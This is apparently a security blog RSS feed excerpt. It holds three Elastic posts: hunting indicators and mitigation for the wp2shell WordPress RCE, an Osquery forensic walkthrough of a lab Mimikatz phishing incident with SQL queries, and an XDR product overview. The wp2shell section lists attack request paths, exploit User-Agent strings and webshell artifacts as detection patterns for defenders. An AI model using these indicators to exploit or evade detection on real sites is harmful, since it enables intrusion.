<li><a href="https://github.com/elastic/detection-rules/blob/e45a6518f6478eb91623feb1cfac63e4e2f01fd3/rules_building_block/discovery_linux_system_information_discovery.toml">Linux System Information Discovery</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/e45a6518f6478eb91623feb1cfac63e4e2f01fd3/rules_building_block/discovery_linux_system_owner_user_discovery.toml">System Owner/User Discovery Linux</a></li>
</ul>
<p>Deploy Elastic Defend with prevention enabled on hosts that run WordPress. If your web stack uses a parent process not in the current lists, let us know so we can extend scope.</p>
<h2 id="huntingqueries">Hunting queries</h2>
<p>Use these for quick hunts while tooling is still stock. Treat them as fragile: rename the plugin slug or change the User-Agent and most of them disappear. Behavioral rules above are the durable layer.</p>
<h3 id="wp2shellnetworkandaccesslogindicators">wp2shell network and access log indicators</h3>
<ul>
<li><code>POST /?rest_route=/batch/v1</code> or <code>POST /wp-json/batch/v1</code> with a nested JSON <code>requests</code> array.  </li>
<li><code>User-Agent: wp2shell</code>, <code>User-Agent: cve-2026-63030/1.0</code>, or <code>User-Agent: rezwp2shell</code> on batch traffic.  </li>
<li>HTTP 207 Multi-Status responses on batch requests (supporting evidence, not standalone).  </li>
<li>Follow-on requests to <code>/wp-admin/plugin-install.php</code>, <code>/wp-admin/update.php?action=upload-plugin</code>, or <code>/wp-json/wp/v2/users?context=edit</code>.</li>
</ul>
<h3 id="wp2shellhostartifacts">wp2shell host artifacts</h3>
<ul>
<li>Directories matching <code>wp2shell_&lt;hex&gt;</code> under <code>wp-content/plugins/</code>.  </li>
<li>New or modified <code>.php</code> under <code>wp-content/plugins/</code> or <code>wp-content/cache/</code>.  </li>
<li>Write-test files <code>temp-write-test-*</code> under <code>wp-content/</code> (seen in our lab run and in staging behavior).  </li>
<li>Unexpected WordPress administrator accounts created during the exploitation window.  </li>
<li>PHP webshell hashes published in open research (supplemental; prioritize process and file telemetry).</li>
</ul>
<h3 id="howtoblockwp2shellifyoucantpatchimmediately">How to block wp2shell if you can't patch immediately</h3>
<p>If you cannot patch immediately, block anonymous access to <code>/wp-json/batch/v1</code> and <code>/?rest_route=/batch/v1</code> at the edge, or disable anonymous REST access via a hardening plugin. Expect breakage of legitimate batch consumers; use only as a temporary measure until 7.0.2 or 6.9.5 is deployed.</p>
<h2 id="wp2shelldetectionpatchfirstthenverifyyourcoverage">wp2shell detection: patch first, then verify your coverage</h2>
<p><code>wp2shell</code> turns a REST batch parsing bug into pre-authenticated code execution on default WordPress installs. Public PoCs spread fast, and the host footprint is predictable: plugin files staged under <code>wp-content/</code>, then a web server parent spawning a shell that runs a malicious command.</p>
<p>We ran the <a href="https://github.com/Icex0/wp2shell-poc">Icex0 chain</a> end-to-end in a lab and watched the detections line up with that sequence. PHP File Creation in WordPress Plugin Directory catches the drop. Payload Execution by Web Server fires first on the endpoint when <code>apache2</code> runs the payload. Suspicious and Unusual Command Execution via Web Server adds SIEM depth on the same shell activity. Additional rules are in place to detect real-world activity beyond the PoC. Patch first, hunt the IOCs while they last, and lean on that behavioral stack for coverage that survives PoC renames.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/wp2shell-wordpress-rce-detection-elastic-defend</link>
    <guid isPermaLink="false">wp2shell-wordpress-rce-detection-elastic-defend</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Ruben Groenewoud,Bryan Porras Blanch]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt67d45a44d2b148cc/6a7d873496b5a62e888786fd/wp2shell-wordpress-rce-detection-elastic-defend.webp" length="0" type="image/webp"/>
    <pubDate>Thu, 23 Jul 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[DFIR: From alert to root cause using Osquery without leaving Elastic Security]]></title>
    <description><![CDATA[Learn how to perform distributed, real-time Digital Forensics and Incident Response (DFIR) using Osquery and Elastic to investigate threats at scale without relying on disk imaging.]]></description>
    <content:encoded><![CDATA[<p>Modern DFIR doesn't start with a disk image. That model worked when environments were smaller, endpoints were static, and time wasn't the primary constraint. Endpoints are now ephemeral, fleets scale to thousands of hosts, and attackers operate on timelines measured in minutes. By the time a full forensic image is collected, the system may no longer exist.</p>
<p>Forensics today is no longer about collecting everything. It's about asking the right questions, in real time, across your entire environment.</p>
<p>This is where distributed, query-driven forensics comes in and why tools like <a href="https://osquery.io/">Osquery</a> have become foundational to modern Digital Forensics and Incident Response (DFIR). Most DFIR workflows have a hidden cost: the time lost switching between your endpoint detection and response (EDR), your security information and event management (SIEM), and your forensic tooling. Elastic Security eliminates that gap entirely, from a blocked alert to a deep-dive forensic query, without leaving the platform or losing investigative context.</p>
<hr />
<h2 id="rethinkingforensicsinmodernenvironments">Rethinking forensics in modern environments</h2>
<p><a href="https://www.sans.org/cybersecurity-focus-areas/digital-forensics-incident-response">DFIR</a> has traditionally been treated as a post-incident activity. Evidence was collected, systems were imaged, and analysis happened after the attacker had already completed their objectives. That model assumed stability: stable hosts, predictable timelines, and the ability to pause systems for investigation.</p>
<p>Today, those assumptions no longer hold.</p>
<p>Infrastructure is dynamic, endpoints are frequently reimaged or short-lived, and attackers operate on timelines measured in minutes rather than days. Waiting to collect full forensic images isn’t just inefficient; it’s also operationally infeasible. By the time analysis begins, the system may no longer exist, or the attacker may have already moved laterally.</p>
<p>As a result, DFIR has evolved into a live, iterative discipline. Investigators no longer rely on full disk acquisition as a starting point. Instead, they interrogate endpoints directly, retrieving only the artifacts that matter, when they matter.</p>
<h2 id="fromdiskimagingtodistributeddfir">From disk imaging to distributed DFIR</h2>
<p>This shift represents a fundamental change in how investigations are performed.</p>
<p>Rather than centralizing evidence and analyzing it in isolation, investigators now distribute their questions across the environment. Each endpoint becomes a source of truth that can be queried in real time. Instead of waiting hours for data collection, analysts can validate hypotheses in seconds, pivot quickly, and refine their investigation as new evidence emerges.</p>
<p>This model enables a far more responsive workflow. Questions lead to queries, queries lead to insights, and insights drive the next steps of the investigation.</p>
<h2 id="osqueryasaforensicinterface">Osquery as a forensic interface</h2>
<p>At the center of this model is Osquery, which exposes operating system (OS) artifacts as structured tables that can be queried using SQL. Processes, network connections, file activity, registry entries, and execution artifacts become immediately accessible without the need for heavyweight collection.  </p>
<p>This abstraction transforms the OS into a queryable forensic dataset. Instead of navigating multiple tools or collecting large volumes of raw data, investigators can focus on answering specific questions with precision.</p>
<p>To support this, Elastic doesn't just integrate <a href="https://www.elastic.co/docs/reference/integrations/osquery_manager">Osquery Manager</a>, but we also build our own Osquery <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/README.md">extensions</a> to cover critical forensic artifacts that aren’t natively available. We make these extensions available within Elastic Security and contribute them back to the community. This includes visibility into areas such as <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_browser_history.md">browser history</a>, <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_amcache_application_file.md">AmCache</a>, and <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_jumplists.md">jumplists</a>, enabling deeper insight into user activity and execution patterns directly from the endpoint. We have contributed to Osquery with YARA memory scanning and OpenHandles too.The <a href="https://www.elastic.co/docs/solutions/security/investigate/examine-osquery-results">Osquery results</a> are automatically stored in an Elasticsearch index and can easily be <a href="https://www.elastic.co/docs/solutions/security/investigate/osquery#osquery-map-fields">mapped to the Elastic Common Schema</a> (ECS).</p>
<p>Beyond individual <a href="https://www.elastic.co/docs/solutions/security/investigate/osquery#osquery-run-query">live queries</a>, Elastic also provides <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/artifacts_matrix.md#core-forensic-artifacts-coverage">out-of-the-box Osquery curated queries</a> designed for forensic investigations, also mapped to ECS. These queries target the forensic artifacts that matter most during an investigation, such as Prefetch files that prove execution, Shimcache entries that confirm a binary existed on disk, registry keys that expose persistence mechanisms, and scheduled tasks that reveal attacker footholds.</p>
<h2 id="fromalerttriagingtoforensicreconstruction">From alert triaging to forensic reconstruction</h2>
<p>Alerts are often the entry point into an investigation, but in a modern security operations center (SOC), they signify active defense. <a href="https://www.elastic.co/docs/reference/integrations/endpoint">Elastic Defend</a> provides this first line of active protection. This native Elastic Endpoint Security integration operates at the kernel level for deep visibility and enforcement, consistently earning top AV-Comparatives scores. Beyond alerts, Elastic Defend provides continuous enforcement, stopping threats like ransomware, malware, and in-memory exploits, using advanced behavioral preventions. While investigations begin with a signal, damage is already mitigated.</p>
<p>However, once a threat is neutralized, the key critical question remains: What actually happened?</p>
<p>This is where <a href="https://www.elastic.co/docs/solutions/security/investigate/osquery">investigating with Osquery</a> becomes essential. While Elastic Defend neutralizes the threat and captures the real-time telemetry, Osquery acts as your deep-dive forensic interface. It allows you to interrogate the endpoint for specific, high-fidelity artifacts, such as execution history in the Shimcache or manual navigation in Shellbags, to reconstruct a definitive timeline with evidence that goes beyond telemetry.</p>
<p>Together, Elastic Defend and Osquery form a complementary system that spans the full detection and response lifecycle. One provides continuous visibility and alerting; the other delivers the forensic depth required to investigate and validate those alerts. This combination allows analysts to move easily from detection to investigation, bridging the gap between signal and understanding.</p>
<h2 id="huntsoperationalizingforensicandthreathuntinginvestigations">Hunts: Operationalizing forensic and threat hunting investigations</h2>
<p>As investigations progress, many of the same questions are repeatedly asked across different incidents. Rather than rebuilding queries each time, these can be standardized into reusable <em>hunts</em>.</p>
<p>Apart from curated queries, Elastic also provides <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/artifacts_matrix.md#artifacts-by-investigative-goal">curated Osquery packs</a> aligned with common attacker tactics and techniques. These <a href="https://www.elastic.co/docs/solutions/security/investigate/osquery#osquery-schedule-query">packs can be scheduled</a> and allow analysts to quickly validate suspicious process execution, identify potential defense evasion behavior, and detect signs of lateral movement without writing queries from scratch.</p>
<p>In this scenario, hunts enable the investigation to expand beyond a single host. Analysts can rapidly determine whether similar execution patterns or indicators exist elsewhere in the environment, significantly accelerating the investigation process.</p>
<h2 id="scalingtheinvestigation">Scaling the investigation</h2>
<p>Once key indicators such as domains or file hashes are identified, the investigation can be extended across the entire environment. Queries used for validation can be reused to identify similar activity on other endpoints.</p>
<p>This approach allows analysts to determine the scope of the incident, identify additional affected systems, and prioritize response efforts based on impact. Osquery, combined with Elastic across the environment, enables centralized query execution and fleet-wide forensics investigations. </p>
<h2 id="frominvestigationtoresponse">From investigation to response</h2>
<p>Up to this point, the focus has been on understanding what happened. Modern DFIR, however, requires the ability to act on those findings immediately.</p>
<p>By combining Osquery with Elastic Defend, investigators can move directly from analysis to <a href="https://www.elastic.co/docs/solutions/security/endpoint-response-actions">response</a> within the same workflow.</p>
<p>Once malicious execution is confirmed, the affected host can be <a href="https://www.elastic.co/docs/solutions/security/endpoint-response-actions#_isolate">isolated</a> to prevent further communication and reduce the risk of lateral movement. In situations requiring deeper analysis, investigators can also collect a <a href="https://www.elastic.co/docs/solutions/security/endpoint-response-actions#memory-dump">memory dump</a> from the endpoint.</p>
<p>This memory dump can be downloaded and analyzed using external tools, such as Volatility, enabling further investigation of in-memory activity that may not be visible through traditional artifacts.</p>
<p>The Osquery and Elastic Defend combination allows analysts to move easily from detection to investigation to response, reducing friction and accelerating the overall DFIR process.</p>
<h2 id="detectionwithosqueryfromtelemetrytosignal">Detection with Osquery: From telemetry to signal</h2>
<p>While Osquery is often used for live investigations, it also plays an important role in detection. When executed through scheduled packs, Osquery continuously collects endpoint data that can be used within Elastic Security to <a href="https://www.elastic.co/docs/solutions/security/detect-and-alert/using-the-rule-ui">create SIEM detection rules</a>. The results of these queries are indexed in <code>logs-Osquery_manager.result*</code>, making them searchable and usable as a detection data source.</p>
<p>Each query execution is identified by the <code>action.id</code> field. For scheduled packs, this follows a consistent naming convention: <code>pack_{pack_name}_{query_name}</code>. This allows analysts to reference specific queries when building detection logic, effectively turning Osquery packs into reusable detection building blocks.</p>
<p>This creates a natural feedback loop between investigation and detection. Queries initially used during forensic analysis can be operationalized into scheduled packs, continuously running across the environment and surfacing suspicious behavior automatically, bridging the gap between reactive investigation and proactive detection. Moreover, Osquery <a href="https://www.elastic.co/docs/solutions/security/investigate/run-osquery-from-alerts">can be run directly from alerts</a>, as part of <a href="https://www.elastic.co/docs/solutions/security/investigate/run-osquery-from-investigation-guides">investigation guides</a> and as a <a href="https://www.elastic.co/docs/solutions/security/investigate/add-osquery-response-actions">response action in a detection rule</a>.</p>
<h2 id="investigationscenariofrommaliciousalerttorootcause">Investigation scenario: From malicious alert to root cause</h2>
<p>Consider a scenario where a user receives a phishing email offering a “100% discount” through a shared download link. The message appears convincing enough to prompt interaction, leading the user to download a file from the provided link.</p>
<p>Shortly after, Elastic Defend triggers an alert indicating that malware execution was detected and terminated. The payload is identified as <a href="https://en.wikipedia.org/wiki/Mimikatz">Mimikatz</a>, a well-known tool used for credential access.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc165713c6c4ae17a/6a7d7f3ae3a21901d999c6bd/image7.png" alt="Process alert" title="Alert details and analyzer view showing a critical malware detection alert. The left panel displays an analyzer graph of related processes, including explorer.exe, cmd.exe, powershell.exe, conhost.exe, and mimikatz.exe. The right panel lists alert information such as status, risk score, host name, rule name, file path, file hash, and process details." /></p>
<p>At this stage, the immediate threat has been blocked, but key questions remain unanswered. How did the file reach the endpoint? Was it executed by the user? Was this an isolated event or part of a broader attack?</p>
<p>Detection provides the signal but not the full story.</p>
<p>To understand the root cause, the investigation shifts to Osquery.</p>
<p>The first step is to identify how the file was introduced onto the system. Since the initial vector is a phishing link, browser artifacts provide a natural starting point. We’ll use the suspicious <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/kibana/osquery_saved_query/osquery_manager-b352f3c9-c630-47ec-83bb-5887fe0bb874.json">browser history query</a> that removes all possible false positives from the <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_browser_history.md">Elastic <code>browser history</code> table</a>. </p>
<p>This query helps identify whether the user accessed a suspicious link consistent with the phishing lure.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb8367c6db956069d/6a7d7f3e51156a3ddf2bf81d/image8.png" alt="History results" title="Browser history query results showing a table of osquery events from win11‑lab1, including event action, category, type, tags, URL domain and full URL, user name, and user agent name. The query description reads “Browser history from Elastic osquery extension,” and the entries display limewire‑related domains accessed by user lab1." /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9c6ca823c7e09808/6a7d7f415588ad020bee4288/image1.png" alt="History details" title="Browser history query result details showing a table of fields and values, including event category, event time, browser, domain, URL, title, username, tags, and user agent name. The entry reflects activity associated with limewire.com accessed by user lab1." /></p>
<p>We see that the user <strong>lab1</strong> accessed through Edge browser a link that, in theory, contains a <strong>discount</strong> zip file to be downloaded, and we can consider these findings as new <a href="https://www.microsoft.com/en-us/security/business/security-101/what-are-indicators-of-compromise-ioc">indicators of compromise</a> (IoCs). </p>
<p>In order to confirm whether the file was actually downloaded and therefore, the user clicked on the previous link, we can use the <a href="https://osquery.io/schema/5.22.1/#file"><code>file</code> table</a>, checking for the presence of this zip file on disk, meaning the user clicked on that previous link. We’ll use the <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/kibana/osquery_saved_query/osquery_manager-f8e71a30-b621-11ef-9c4a-8b2c7c5a1d3e.json">Elastic file query</a> that also checks the file hash of that file on VirusTotal. We can see that this <strong>discount.zip</strong> file has a <a href="https://www.virustotal.com/gui/file/d86e5d2701b548dfbe0419bcffb2ae82c6ccdeb6dc9612050273c543a6f5215a">malicious reputation</a>, being in reality Mimikatz.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt861c33bc9dc4d599/6a7d7f44bdcff067a9c3fffb/image2.png" alt="File lookup" title="File query results with VirusTotal link showing a search for “discount.zip” and a results table listing one matching entry from win11‑lab1. A side panel displays the field “osquery_vt_link” with a VirusTotal URL for the file." /></p>
<p>Next, we validate whether a file was downloaded and executed as a result of that interaction. To determine whether the file was executed, we pivot into execution artifacts, such as <a href="https://forensafe.com/blogs/shimcache.html"><strong>Shimcache</strong></a> <strong><a href="https://forensafe.com/blogs/UserAssist.html">UserAssist</a>,  <a href="https://www.forensafe.com/blogs/shellbags.html">Shellbags</a>,</strong> and <strong><a href="https://www.forensafe.com/blogs/prefetch.html">Prefetch</a></strong>.</p>
<p><a href="https://osquery.io/schema/5.22.1/#shellbags"><code>Shellbags</code></a> clearly shows the drill-down behavior: The user didn't just open the folder; they navigated three levels deep into the x64 directory where the Mimikatz binary usually lives.</p>
<pre><code>SELECT
  path,
  datetime(accessed_time, 'unixepoch') AS access_time
FROM shellbags
WHERE path LIKE '%discount%';
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt24d6b3267553bb95/6a7d7f476c6eac14e4f1130c/image5.png" alt="Shellbags view" title="Shellbags query results showing a table with agent name, access time, and path fields. The entries list win11‑lab1 with access times from April 10, 2026, and paths referencing discount and mimikatz‑master directories." /></p>
<p>The <a href="https://osquery.io/schema/5.22.1/#shimcache"><code>shimcache</code></a> tracks every executable that has been "seen" by the OS for compatibility purposes. Even if the file was never actually run, its presence here proves it existed in that path. </p>
<pre><code>SELECT
  path,
  datetime(modified_time, 'unixepoch') AS last_run_human_readable,
  modified_time AS raw_timestamp
FROM shimcache
WHERE path LIKE '%discount%'
  OR path LIKE '%mimikatz%';
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt03c96ee5aa48712b/6a7d7f4a3cab1c22ee0e199a/image3.png" alt="Shimcache view" title="Shimcache query results showing a table with agent name, last run time, file path, and raw timestamp. The entry lists win11‑lab1 with a last run time from April 10, 2026, and a path pointing to mimikatz.exe in the discount and mimikatz‑master directories." /></p>
<p>NOTE: The "1970" date in the <code>raw_timestamp</code> column is a known forensics community issue. It results from a unit mismatch: Osquery stores timestamps in Unix epoch seconds, but the UI interprets this value as milliseconds. This calculation error compresses 56 years into roughly 20 days, causing the date to display as late January 1970 instead of April 2026. For forensic accuracy, the <code>last_run_human_readable</code> column remains the authoritative record, as it was correctly converted using second-based logic in the SQL query to reflect the true execution timeline.</p>
<p>To verify whether the user manually executed it, the <a href="https://osquery.io/schema/5.22.1/#userassist"><code>userassist</code></a> table is perfect. It tracks GUI-based execution (files launched via Windows Explorer).</p>
<pre><code>SELECT
  path,
  count,
  datetime(last_execution_time, 'unixepoch') AS last_run_human_readable
FROM userassist
WHERE path LIKE '%discount%'
  OR path LIKE '%mimikatz%';
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt89ae2df07e3f7bfa/6a7d7f4d6c6eac0fd4f11314/image6.png" alt="Userassist view" title="Userassist query results showing a table with agent name, execution count, last run time, and file path. The entry lists win11‑lab1 with two executions and a path pointing to mimikatz.exe in the discount and mimikatz‑master directories" /></p>
<p><a href="https://osquery.io/schema/5.22.1/#prefetch"><code>Prefetch</code></a> is the black box that proves an application was actually launched. Analyzing the prefetch, we can get a timeline of the events, identifying that the root cause was a malicious phishing email.</p>
<pre><code>SELECT
  filename,
  run_count,
  datetime(last_run_time, 'unixepoch') AS last_run_utc,
  last_run_time AS raw_timestamp
FROM prefetch
WHERE (
  filename LIKE 'OLK.EXE%' OR
  filename LIKE 'MSEDGE%' OR
  filename LIKE 'MIMIKATZ%'
)
AND last_run_time BETWEEN 1775815200 AND 1775822400
ORDER BY last_run_time ASC;
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt056d229e3c0b1266/6a7d7f50bdcff0236fc40007/image4.png" alt="Prefetch view" title="Prefetch query results showing a table with agent name, filename, last run time, raw timestamp, and run count. Entries for win11‑lab1 list OLK.EXE, MSEDGEWEBVIEW2.EXE, MSEDGE.EXE, and MIMIKATZ.EXE with their associated run counts and timestamps." /></p>
<p>The forensic evidence confirms a linear attack path when the user <strong>lab1</strong> initiated the new Outlook client, evidenced by the simultaneous execution of OLK.EXE and its integrated web engine, MSEDGEWEBVIEW2.EXE. This was immediately followed by MSEDGE.EXE, indicating the browser was summoned to handle the phishing redirect and download. The trail turns from automated activity to manual intent where Shellbags recorded the user deliberately navigating the extracted discount folder in their Downloads directory. This window of manual interaction eventually culminated in the final execution of MIMIKATZ.EXE. The 26-minute gap between the Shellbag entry (manual folder access) and the Prefetch entry (Mimikatz execution) is forensically consistent with a human-in-the-loop (HITL) attack scenario, where the user reads the email, clicks the link, waits for the download, extracts the zip, looks around the folder (Shellbags at 11:09), and finally works up the courage (or curiosity) to double-click the <code>.exe</code>.</p>
<h2 id="transformforensicstoinvestigateandrespondatscale">Transform forensics to investigate and respond at scale</h2>
<p>Twenty-six minutes. That's how long it took a user to go from opening a phishing email to executing Mimikatz. And it took us less time than that to reconstruct the entire attack chain, without a disk image, without a dedicated forensic workstation, and without leaving Elastic.</p>
<p>That's what scalable DFIR looks like in practice: not a process change, not a platform migration, but the ability to ask the right question of the right endpoint at the right moment and to get an answer before the attacker takes their next step.</p>
<p>The investigation never stops. Neither should your forensics. </p>
<p>Forensics is now essential for large-scale investigation and response, moving beyond being a mere post-incident activity. The evolution of forensics at Elastic continues, with our next phase focusing on incorporating automation and AI. Get ready to unlock the full power of forensics by combining it with workflows and agentic AI, we'll be diving into this topic in an upcoming blog post. Stay tuned!</p>
<h2 id="getstartedwithelasticsecurity">Get started with Elastic Security</h2>
<p>Start your <a href="https://cloud.elastic.co/registration">free trial</a> of Elastic Security today and experience the benefits of Elastic Defend and Osquery. Improve your forensics skills by enhancing your threat detection capabilities and gaining deeper visibility into potential threats before they escalate.</p>
<h2 id="frequentlyaskedquestions">Frequently Asked Questions</h2>
<p><strong>Q: How do I perform forensic investigations at scale without disk imaging?</strong> A: Elastic Security combines Osquery and Elastic Defend to enable distributed, query-driven forensics across your entire fleet. Osquery exposes OS artifacts as SQL-queryable tables, so investigators can retrieve execution history, file activity, and registry entries from thousands of endpoints in real time without collecting full disk images.</p>
<p><strong>Q: How do I reconstruct an attack timeline using Osquery?</strong> A: Elastic Security's Osquery integration gives you access to execution artifacts like Prefetch, Shimcache, UserAssist, and Shellbags as queryable tables. By chaining queries across these sources you can reconstruct the full sequence of user and attacker actions, including file downloads, folder navigation, and binary execution, without a forensic workstation.</p>
<p><strong>Q: How does Osquery integrate with Elastic Security for incident response?</strong> A: Elastic Security includes Osquery Manager natively, with curated forensic queries and packs mapped to ECS. Results are indexed automatically, making them searchable alongside alert data and usable as detection rule inputs. Osquery can also be run directly from alerts, investigation guides, and detection rule response actions.</p>
<p><strong>Q: Can I detect threats with Osquery in addition to investigating them?</strong> A: Yes. Scheduled Osquery packs continuously collect endpoint data that Elastic Security indexes under <code>logs-osquery_manager.result*</code>, which can be used as a detection data source for SIEM rules. Queries developed during forensic investigations can be operationalized into scheduled packs, creating a feedback loop between reactive investigation and proactive detection.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/dfir-osquery-elastic-security</link>
    <guid isPermaLink="false">dfir-osquery-elastic-security</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Raquel Tabuyo]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt56e369d2225491e9/6a7d7f5373d9bd5cbc29ab9f/dfir-osquery-elastic-security.webp" length="0" type="image/webp"/>
    <pubDate>Fri, 01 May 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Investigating from the Endpoint Across Your Environment with Elastic Security XDR]]></title>
    <description><![CDATA[This article highlights how Elastic Security XDR unifies endpoint protection with multi-domain security analytics to help analysts trace and contain multi-stage attacks across hybrid and cloud environments.]]></description>
    <content:encoded><![CDATA[<h2 id="preamble">Preamble</h2>
<p>Security investigations rarely stay confined to a single host. Today’s attackers increasingly use automation and AI to compress multi-stage attacks into minutes, turning what once unfolded over days into coordinated activity across endpoints, identities, workloads, and cloud services within minutes.</p>
<p>While many attacks begin on an endpoint, investigators must quickly determine how that activity spreads across the environment. In many environments, per-endpoint licensing limits how broadly protection and telemetry can be deployed, creating protection gaps during these investigations.</p>
<p>Elastic Security XDR is built around that reality. It includes best-in-class endpoint protection, without per-endpoint licensing constraints, in an agentic security operations platform where endpoint telemetry, infrastructure signals, and supporting artifacts can be analyzed together.</p>
<p>This post explores how Elastic Security XDR supports investigations across endpoints, workloads, and the broader environment, highlighting tools and workflows that help analysts collect evidence, pivot across telemetry, and respond efficiently.</p>
<h2 id="endpointattheheartofxdr">Endpoint at the heart of XDR</h2>
<p>The <a href="https://www.elastic.co/resources/security/report/global-threat-report">2025 Elastic Global Threat Report</a> reveals that with 90% of malware targeting Windows, and browsers acting as the 'primary battleground', host-level visibility is essential to stopping a breach before it scales to the cloud. Elastic Defend, Elastic Security’s native endpoint protection, powers XDR from the endpoint outward. It not only prevents threats across Windows, macOS, and Linux, but also generates rich, investigation-grade telemetry that gives analysts the context they need to understand what happened on a host.</p>
<p>As activity occurs, Elastic Defend captures system events including process execution, file changes, network connections, and related artifacts. This telemetry forms the foundation for broader investigations, allowing analysts to correlate endpoint behavior with activity across workloads, identities, and other systems.</p>
<p>Multiple detection layers protect against malware, ransomware, fileless techniques, and other malicious behaviors, using both static and behavioral analysis. Independent validation from the <a href="https://www.elastic.co/blog/av-comparatives-business-security-test-2025">AV-Comparatives Business Security Test</a> confirms Elastic’s effectiveness; in the 2025 test cycle, Elastic Security was the only vendor that blocked every tested threat, earning perfect scores in both Real-World Protection and Malware Protection.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt80217ed76e64a868/6a7d8267ead8ec549dba7b58/image2.png" alt="" /></p>
<p>Elastic also takes a principled approach to openness. Unlike many endpoint security tools that operate as a black box, Elastic publishes detection and prevention logic in an <a href="https://github.com/elastic/protections-artifacts">open repository</a>. This transparency lets analysts understand how protections work, validate them in their own environments, and prioritize high-risk gaps. By empowering users with visibility and insight, Elastic ensures security teams can act with confidence and maximize the value of their investigations.</p>
<h2 id="beyondtheendpointexpandingtheinvestigation">Beyond the endpoint: expanding the investigation</h2>
<p>Attacks rarely stay confined to a single host. Credentials may be compromised, workloads modified, or activity spread across cloud services and infrastructure. To fully understand an incident, analysts need to correlate endpoint activity with signals from the broader environment.</p>
<p>Elastic Security XDR enables this by bringing multiple data sources into the same analysis environment through <a href="https://www.elastic.co/integrations/data-integrations?solution=all-solutions&amp;category=security">hundreds of integrations</a> with popular security tools and data sources. Endpoint telemetry,whether collected by Elastic Defend or another EDR platform, can be analyzed alongside cloud activity, identity events, network telemetry, and third-party logs, without forcing organizations into a closed security stack. Elastic provides the <a href="https://www.elastic.co/docs/reference/ecs">common schema</a> and unified detection engine required to normalize disparate signals, allowing analysts to bypass manual data mapping and immediately pivot between sources to follow how activity moves across users, systems, and infrastructure. </p>
<p>Centralized <a href="https://elastic.github.io/detection-rules-explorer/">detection rules</a> operate across the unified dataset in the security platform, complementing <a href="https://github.com/elastic/protections-artifacts">real-time protections</a> that run directly on the endpoint. They enable alerts to reflect correlated activity across multiple domains. Suspicious process activity on a host can be matched with identity events, cloud API calls, or network behavior, helping analysts determine whether an event is isolated or part of a larger attack chain.</p>
<p>Container workloads highlight another way XDR extends investigations. <a href="https://www.elastic.co/security-labs/getting-started-with-defend-for-containers">Elastic Defend for Containers</a> monitors runtime behavior inside containerized environments, detecting suspicious activity such as unexpected process execution, privilege escalation, or access to sensitive resources. By connecting endpoint behavior to the broader environment, Elastic Security XDR gives analysts the visibility needed to scope incidents accurately, prioritize critical threats, and respond with confidence.</p>
<h2 id="reconstructingtheattackpath">Reconstructing the attack path</h2>
<p>After relevant telemetry is collected, analysts need to piece together what happened and how the attack progressed. Investigations involve pivoting between events, validating hypotheses, and assembling a complete timeline of activity across the environment.</p>
<p>Elastic Security XDR provides <a href="https://www.elastic.co/docs/solutions/security/investigate">investigation tools</a> designed to support this process. Visual Event Analyzer, Session View, and Timeline allow analysts to explore relationships between events, trace execution chains, and correlate activity across datasets while maintaining investigative context.</p>
<p>Visual Event Analyzer offers a graphical view of process relationships, helping analysts spot suspicious parent-child behavior and understand execution flows. Session View reconstructs activity within a process session, showing commands, network connections, and other actions as they unfolded. Timeline acts as an investigative workspace where analysts collect and correlate events from multiple sources, refine queries, and build a coherent attack narrative.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc0ac720020ed07cc/6a7d826aea068dbb84f07241/image5.png" alt="Investigate alerts &amp; processes with Event Analyzer" title="Investigate alerts &amp; processes with Event Analyzer" /></p>
<p>Together, these tools help analysts validate hypotheses faster, deepen analysis, and enable more confident response decisions.</p>
<h2 id="agenticinvestigationdiscoverysummarizationandnaturallanguagequerying">Agentic investigation: discovery, summarization, and natural language querying</h2>
<p>Elastic Security’s AI-driven investigative workflows help analysts keep pace with modern attacks by accelerating investigation and surfacing connected activity across the environment. Attack Discovery identifies connected alerts across endpoints, workloads, cloud services, and integrated third-party data, helping analysts uncover hidden attack chains without manually correlating events.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1d2ce67fc2da3255/6a7d826d437e0fb75bdd85e6/image6.png" alt="Attack Discovery detects and summarizes attack activity against the MITRE Attack Chain." title="Attack Discovery detects and summarizes attack activity against the MITRE Attack Chain." /></p>
